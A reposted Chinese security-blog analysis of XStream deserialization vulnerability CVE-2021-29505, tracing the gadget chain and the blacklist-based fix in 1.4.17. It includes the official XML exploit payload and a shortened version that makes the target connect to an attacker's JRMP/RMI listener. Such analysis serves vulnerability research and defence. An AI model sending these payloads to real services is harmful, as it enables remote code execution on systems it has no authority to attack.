问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
XStream CVE-2021-29505分析与简化
XStream CVE-2021-29505分析与简化
XStream CVE-2021-29505分析与简化 简介 -- 最近有点其他事,很久没有更新了。正好看到XStream又发布最新的漏洞通告了,而且还有很多人复现,维度缺少分析文章。而且XStream官网公布的payload貌似不能正常使用,者激发了我的好奇心。恰好前段时间分析微某ao积累了一点点XStream分析经验。 漏洞分析 ---- 我们首先明确一点,XStream是一个序列化存储对象的库,类似于java原生的序列化。所以Xstream可以用在任何地方。很多公众号通过web接口去复现xstream的方法是及其不负责的,很让人容易产生错觉。 Xstream新增了很多功能,例如可以序列化未继承自`java.io.serializable`接口的类的对象。其他功能均与java原生的序列化功能一样,如果xstream在反序列化的时候发现还原继承自`java.io.serializable`的类,则同样会调用对象的`readObject`方法。 > Ysoserial所有的payload均可以转换为xstream格式 所以反序列化漏洞的特点在于类的readObject方法,分析的时候重点看readObject方法都做了什么操作。 目前xstream的修复方案是,没有修复方案,就新增几个黑名单。但是我们知道,xstream可以反序列化任意文件,所以gadget相对好挖 cve-2021-29505的payload如下所示, ```php <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <soapPart/> <mm> <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>ip2</string> <int>1099</int> <long>0</long> <int>0</int> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>ip2</host> <port>1099</port> </ctx> </candidates> </aliases> </it> </mm> </multiPart> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue> ``` 当然,这段从官网上摘抄的poc是无法使用的,原因我们一会再讲,我们主要说一下xstream是怎么存储一个对象的。 如果序列化自一个对象,则xml的开始标签为对象的类的名称,如果该类存在readObject方法,则标签内注明serialization='custom'。在这里,xstream是不负责被序列化的类的一致性检测(suid)的。所以使用xstream在做某些序列化对象的操作的时候一定要注意。 与java原生反序列化存储格式相同,xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。 xstream为了不过多干涉用户的序列化工作,又为了安全性着想,只弄了一个简简单单的黑名单。但是xstream的官方建议是,自己写黑名单类!1.4.16的黑名单类如下,两个都是,也没必要搞清楚了,知道是过滤就行了。 ![图片](https://shs3.b.qianxin.com/butian_public/fefbd1c0830c3f982ddd3c4d3677dd6ea.jpg)![图片](https://shs3.b.qianxin.com/butian_public/f4133841f1498801a2ffa5e51635b2689.jpg) 好了,现在基础知识我们知道了。下面开始分析上面的poc, `java.util.PriorityQueue`类顾名思义,维持一个有序队列。为了保证反序列化后的队列是有序的,所以在无序地还原完所有元素后,调用`heapify`方法,将目前无序的队列变成有序的。在这里java为了给我们很大的自由度,规定只要继承自Compare接口的类都可以用来做排序算法。(思考一下是不是与c#的typeConfused gadget类似) 一般`java.util.PriorityQueue`类的反序列化出发点都会在`heapify`方法中,也就是调整元素的顺序。但是上面的poc显然并不是这样触发的,原因是poc中根本就没有还原compare字段。 按照我刚才的思路,找poc中类的readObject方法去分析,发现JRMP最终是由`sun.rmi.registry.RegistryImpl_Stub`去处理。下面我们看看相关代码 要还原RegistryImpl\_Stub对象,按照反序列化先后顺序,首先还原父类的字段信息,也就是`java.rmi.server.RemoteObject`,在poc中已经写明。然后调用`java.rmi.server.RemoteObject`的readObject方法 ![图片](https://shs3.b.qianxin.com/butian_public/f773bcdcd5407eea6d41de3a8c4976774.jpg) 首先实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法,最终实际调用的代码如下![图片](https://shs3.b.qianxin.com/butian_public/f38660ef2351a432cccf6252647abd96a.jpg) 看到`DGCClient.registerRefs`,一切就简单明了。在先知上的 针对RMI服务的九重攻击 - 下中已经分析过了。部分截图如下 ![图片](https://shs3.b.qianxin.com/butian_public/f1e4b1166f251eba8a517c5ae085dd4f7.jpg) 既然我们已经知道了触发流程,那么来简化一下poc吧,删掉不需要的地方,只保留`sun.rmi.registry.RegistryImpl_Stub`部分,注意别只保留`java.rmi.server.RemoteObject`部分,因为`java.rmi.server.RemoteObject`是抽象类,不可以被直接实例化的。反序列化也要遵守JVM的规定。至于为什么原始payload这么长,而实际paload这么短,我个人猜测洞主可能是通过某些自己写的工具自动化分析生成导致。 ```php <sun.rmi.registry.RegistryImpl_Stub serialization="custom"> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>127.0.0.1</string> <int>8001</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </sun.rmi.registry.RegistryImpl_Stub> ``` 这个漏洞是利用JRMP连接中,使用java反序列化协议传输数据造成的反序列化漏洞。也就是说,你的目标机中要有相关gadget 触发一下poc![图片](https://shs3.b.qianxin.com/butian_public/fa717b5cb9b4a54bf91f137e7f86d19b9.jpg) 修复分析 ---- 我们看一下xstream 1.4.17的黑名单变化![图片](https://shs3.b.qianxin.com/butian_public/f669295a614312002ef4e0de3c7461b96.jpg) 将与rmi有关的类名,全部加入黑名单中。但是治标不治本,weblogic包中也有很多关于rmi的部分哟,祝大家挖的愉快 **文章转载于”宽字节安全”公众号,已取得转载授权。**
发表于 2021-06-02 09:37:56
阅读 ( 5788 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!